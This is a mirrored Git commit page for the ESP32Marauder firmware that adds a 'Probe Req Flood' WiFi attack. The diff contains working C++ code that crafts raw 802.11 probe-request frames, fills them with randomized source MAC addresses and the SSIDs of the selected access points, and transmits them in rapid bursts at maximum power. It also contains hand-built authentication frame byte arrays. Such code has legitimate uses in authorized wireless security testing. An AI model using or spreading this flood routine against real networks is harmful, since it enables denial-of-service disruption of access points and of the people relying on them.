gitea-mirror/ESP32Marauder
1
0
Fork 0
mirror of https://github.com/justcallmekoko/ESP32Marauder.git synced 2026-08-01 16:37:53 -07:00
Code Issues Packages Projects Releases Wiki Activity

Add probe request attack

Browse Source
This commit is contained in:
Just Call Me Koko
2021-05-09 00:36:27 -04:00
parent 6e829f5bf4
commit d2b89654e6
3 changed files with 202 additions and 6 deletions
Download Patch File Download Diff File Expand all files Collapse all files
esp32_marauder/MenuFunctions.cpp
+14 -6
View File
@@ -167,6 +167,9 @@ void MenuFunctions::addAPGFX(){
lv_obj_t * label;
list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, "Exit");
lv_obj_set_event_cb(list_btn, ap_list_cb);
for (int i = 0; i < access_points->size(); i++) {
char buf[access_points->get(i).essid.length() + 1] = {};
access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
@@ -186,9 +189,6 @@ void MenuFunctions::addAPGFX(){
//label = lv_label_create(btn1, NULL);
//lv_label_set_text(label, buf);
}
list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, "Exit");
lv_obj_set_event_cb(list_btn, ap_list_cb);
}
void ap_list_cb(lv_obj_t * btn, lv_event_t event) {
@@ -449,6 +449,9 @@ void load_btn_cb(lv_obj_t * load_btn, lv_event_t event) {
// Build list of files from the SD card
lv_obj_t * list_btn;
list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, "Cancel");
lv_obj_set_event_cb(list_btn, test_btn_cb);
while (true) {
File entity = scripts.openNextFile();
@@ -471,9 +474,6 @@ void load_btn_cb(lv_obj_t * load_btn, lv_event_t event) {
}
scripts.close();
list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, "Cancel");
lv_obj_set_event_cb(list_btn, test_btn_cb);
}
}
@@ -672,6 +672,7 @@ void MenuFunctions::main(uint32_t currentTime)
// Get the display buffer out of the way
if ((wifi_scan_obj.currentScanMode != WIFI_SCAN_OFF ) &&
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_SPAM) &&
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) &&
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL))
//(wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_LIST))
display_obj.displayBuffer();
@@ -710,6 +711,7 @@ void MenuFunctions::main(uint32_t currentTime)
(wifi_scan_obj.currentScanMode == WIFI_SCAN_ALL) ||
(wifi_scan_obj.currentScanMode == WIFI_SCAN_DEAUTH) ||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_AUTH) ||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
(wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
(wifi_scan_obj.currentScanMode == BT_SCAN_ALL) ||
@@ -734,6 +736,7 @@ void MenuFunctions::main(uint32_t currentTime)
// Check if any key coordinate boxes contain the touch coordinates
// This is for when on a menu
if ((wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_SPAM) &&
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) &&
(wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL))
//(wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_LIST))
{
@@ -1204,6 +1207,11 @@ void MenuFunctions::RunSetup()
this->drawStatusBar();
wifi_scan_obj.StartScan(WIFI_ATTACK_RICK_ROLL, TFT_YELLOW);
});
addNodes(&wifiAttackMenu, "Probe Req Flood", TFT_RED, NULL, PROBE_SNIFF, [this]() {
display_obj.clearScreen();
this->drawStatusBar();
wifi_scan_obj.StartScan(WIFI_ATTACK_AUTH, TFT_RED);
});
// Build WiFi General menu
wifiGeneralMenu.parentMenu = &wifiMenu;
esp32_marauder/WiFiScan.cpp
+149
View File
@@ -266,6 +266,8 @@ void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
RunBeaconSpam(scan_mode, color);
else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
RunRickRoll(scan_mode, color);
else if (scan_mode == WIFI_ATTACK_AUTH)
RunProbeFlood(scan_mode, color);
else if (scan_mode == BT_SCAN_ALL)
RunBluetoothScan(scan_mode, color);
else if (scan_mode == BT_SCAN_SKIMMERS)
@@ -341,6 +343,7 @@ void WiFiScan::StopScan(uint8_t scan_mode)
(currentScanMode == WIFI_SCAN_DEAUTH) ||
(currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
(currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
(currentScanMode == WIFI_ATTACK_AUTH) ||
(currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
(currentScanMode == WIFI_PACKET_MONITOR) ||
(currentScanMode == LV_JOIN_WIFI))
@@ -827,6 +830,37 @@ void WiFiScan::RunBeaconList(uint8_t scan_mode, uint16_t color)
}
*/
// Function to prepare for beacon spam
void WiFiScan::RunProbeFlood(uint8_t scan_mode, uint16_t color) {
display_obj.TOP_FIXED_AREA_2 = 48;
display_obj.tteBar = true;
display_obj.print_delay_1 = 15;
display_obj.print_delay_2 = 10;
//display_obj.clearScreen();
display_obj.initScrollValues(true);
display_obj.tft.setTextWrap(false);
display_obj.tft.setTextColor(TFT_BLACK, color);
display_obj.tft.fillRect(0,16,240,16, color);
display_obj.tft.drawCentreString(" Auth Flood ",120,16,2);
display_obj.touchToExit();
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
packets_sent = 0;
//esp_wifi_set_mode(WIFI_MODE_STA);
//WiFi.mode(WIFI_AP_STA);
esp_wifi_init(&cfg);
esp_wifi_set_storage(WIFI_STORAGE_RAM);
//WiFi.mode(WIFI_AP_STA);
esp_wifi_set_mode(WIFI_AP_STA);
esp_wifi_start();
esp_wifi_set_promiscuous_filter(NULL);
esp_wifi_set_promiscuous(true);
esp_wifi_set_max_tx_power(78);
this->wifi_initialized = true;
initTime = millis();
//display_obj.clearScreen();
//Serial.println("End of func");
}
// Function to prepare for beacon spam
void WiFiScan::RunBeaconSpam(uint8_t scan_mode, uint16_t color)
{
@@ -1783,6 +1817,103 @@ void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
//Serial.println("Sent packets");
}
// Function to send probe flood to all "active" access points
void WiFiScan::sendProbeAttack(uint32_t currentTime) {
// Itterate through all access points in list
for (int i = 0; i < access_points->size(); i++) {
// Check if active
if (access_points->get(i).selected) {
this->set_channel = access_points->get(i).channel;
esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
delay(1);
// Build packet
// Randomize SRC MAC
prob_req_packet[10] = random(256);
prob_req_packet[11] = random(256);
prob_req_packet[12] = random(256);
prob_req_packet[13] = random(256);
prob_req_packet[14] = random(256);
prob_req_packet[15] = random(256);
/*
prob_req_packet[10] = 0xde;
prob_req_packet[11] = 0xad;
prob_req_packet[12] = 0xbe;
prob_req_packet[13] = 0xef;
prob_req_packet[14] = 0xde;
prob_req_packet[15] = 0xad;
*/
// Set dest
//assoc_packet[4] = access_points->get(i).bssid[0];
//assoc_packet[5] = access_points->get(i).bssid[1];
//assoc_packet[6] = access_points->get(i).bssid[2];
//assoc_packet[7] = access_points->get(i).bssid[3];
//assoc_packet[8] = access_points->get(i).bssid[4];
//assoc_packet[9] = access_points->get(i).bssid[5];
// Set det No. 2
//assoc_packet[16] = access_points->get(i).bssid[0];
//assoc_packet[17] = access_points->get(i).bssid[1];
//assoc_packet[18] = access_points->get(i).bssid[2];
//assoc_packet[19] = access_points->get(i).bssid[3];
//assoc_packet[20] = access_points->get(i).bssid[4];
//assoc_packet[21] = access_points->get(i).bssid[5];
// Set SSID length
int ssidLen = access_points->get(i).essid.length();
//int rand_len = sizeof(rand_reg);
int fullLen = ssidLen;
prob_req_packet[25] = fullLen;
// Insert ESSID
char buf[access_points->get(i).essid.length() + 1] = {};
access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
for(int i = 0; i < ssidLen; i++)
prob_req_packet[26 + i] = buf[i];
/*
* 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00
*/
uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00};
uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
for (int i = 0; i < 26 + fullLen; i++)
good_probe_req_packet[i] = prob_req_packet[i];
for(int i = 0; i < 40; i++)
good_probe_req_packet[26 + fullLen + i] = postSSID[i];
// Send packet
esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
packets_sent = packets_sent + 3;
}
}
}
void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
{
@@ -2432,6 +2563,24 @@ void WiFiScan::main(uint32_t currentTime)
{
eapolMonitorMain(currentTime);
}
else if (currentScanMode == WIFI_ATTACK_AUTH) {
for (int i = 0; i < 55; i++)
this->sendProbeAttack(currentTime);
if (currentTime - initTime >= 1000) {
initTime = millis();
String displayString = "";
String displayString2 = "";
displayString.concat("packets/sec: ");
displayString.concat(packets_sent);
for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
displayString2.concat(" ");
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
display_obj.showCenterText(displayString2, 160);
display_obj.showCenterText(displayString, 160);
packets_sent = 0;
}
}
else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
{
// Need this for loop because getTouch causes ~10ms delay
esp32_marauder/WiFiScan.h
+39
View File
@@ -47,6 +47,7 @@
#define WIFI_ATTACK_BEACON_LIST 15
#define WIFI_SCAN_TARGET_AP 16
#define LV_SELECT_AP 17
#define WIFI_ATTACK_AUTH 18
#define GRAPH_REFRESH 100
@@ -144,6 +145,42 @@ class WiFiScan
/*36*/ 0x00
};
/*uint8_t auth_packet[128] = {0xB0, 0x00, 0x3C, 0x00, // Frame Control, Duration
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest BSSID
0x00, 0x01, // Sequence number
0x00, 0x00, // Algo
0x01, 0x00, // Auth sequence number
0x00, 0x00, // Status Code
0x7F, 0x08,
0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x40,
0xDD, 0x0B, 0x00, 0x17, 0xF2, 0x0A, 0x00, 0x01, // Say it was Apple
0x04, 0x00, 0x00, 0x00, 0x00, 0xDD, 0x0A, 0x00,
0x10, 0x18, 0x02, 0x00, 0x00, 0x10, 0x00, 0x00,
0x00
};*/
uint8_t auth_packet[65] = {0xb0, 0x00, 0x3c, 0x00,
0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x7f, 0x08, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00,
0x00, 0x40, 0xdd, 0x0b, 0x00, 0x17, 0xf2, 0x0a,
0x00, 0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0xdd,
0x0a, 0x00, 0x10, 0x18, 0x02, 0x00, 0x00, 0x10,
0x00, 0x00, 0x00};
uint8_t prob_req_packet[128] = {0x40, 0x00, 0x00, 0x00,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Dest
0x01, 0x00, // Sequence
0x00, // SSID Parameter
0x00, // SSID Length
/* SSID */
};
void packetMonitorMain(uint32_t currentTime);
void eapolMonitorMain(uint32_t currentTime);
void changeChannel();
@@ -153,12 +190,14 @@ class WiFiScan
void tftDrawChannelScaleButtons();
void tftDrawColorKey();
void tftDrawGraphObjects();
void sendProbeAttack(uint32_t currentTime);
void broadcastRandomSSID(uint32_t currentTime);
void broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid);
void broadcastSetSSID(uint32_t current_time, char* ESSID);
void RunAPScan(uint8_t scan_mode, uint16_t color);
void RunRickRoll(uint8_t scan_mode, uint16_t color);
void RunBeaconSpam(uint8_t scan_mode, uint16_t color);
void RunProbeFlood(uint8_t scan_mode, uint16_t color);
void RunBeaconList(uint8_t scan_mode, uint16_t color);
void RunEspressifScan(uint8_t scan_mode, uint16_t color);
void RunPwnScan(uint8_t scan_mode, uint16_t color);